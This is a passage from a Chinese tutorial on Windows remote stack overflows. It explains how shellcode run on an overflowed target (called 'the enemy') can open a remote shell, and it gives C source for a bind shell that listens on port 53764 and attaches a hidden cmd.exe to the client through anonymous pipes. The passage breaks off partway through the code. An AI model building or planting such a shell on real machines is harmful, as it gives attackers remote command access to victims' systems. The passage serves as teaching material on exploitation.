windows缓冲区内存溢出理论与实战
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Windows系统下的远程堆栈溢出
作者: Ipxodi
第一篇《原理篇》
----远程溢出算法
如何开一个远程shell呢?
思路是这样的:首先使敌人的程序溢出,让他执行我们的shellcode。我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器,然后等待客户来的连接。当客户连接上之后,为这个客户开创一个cmd.exe,把客户的输入输出和cmd.exe的输入输出联系起来,我们远程的使用者就有了一个远程shell(跟telnet一样啦)。
上面的算法我想大家都该想得到,这里面socket部分比较简单。和Unix下的基本差不多。就是加了一个WSAStartup;为客户开创一个cmd.exe,就是用CreateProcess
来创建这个子进程;但是如何把客户的输入输出和cmd.exe的输出输入联系起来呢?我使用了匿名管道(Anonymous Pipe)来完成这个联系过程。
管道(Pipe)是一种简单的进程间通信(IPC)机制。在Windows NT,2000,98,95下都可以使用。管道分有名和匿名两种,命名管道可以在同一台机器的不同进程间以及不同机器上的不同进程之间进行双向通信(使用UNC命名规范)。
匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。匿名管道其实是通过用给了一个指定名字的有名管道来实现的。
管道的最大好处在于:他可以象对普通文件一样进行操作。他的操作标示符是HANDLE,也就是说,他可以使用readFile,WriteFile函数来进行与底层实现无关的读写操作!用户根本就不必了解网络间/进程间通信的具体细节。
下面就是这个算法的C实现:
/************************************************************** *************
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include
#include
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize); /*
这段代码是用来建立一个Tcp Server的,我们先申请一个socketfd,
使用53764(随便,多少都行)作为这个socket连接的端口,bind他,
然后在这个端口上等待连接listen。程序阻塞在accept函数直到有
client连接上来。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
创建两个匿名管道。hReadPipe只能用来读管道,hWritePipe1只能用来写管道。
*/
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfor mati
on);
/*
这段代码创建了一个shell(cmd.exe),并且把cmd.exe的标准输入用第二个管道的读句柄替换。cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换。
这两个管道的逻辑示意图如下:
(父进程) read<---〔管道一〕<---write 标准输出(cmd.exe子进程)
(父进程) write--->〔管道二〕--->read 标准输入(cmd.exe子进程)
*/
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);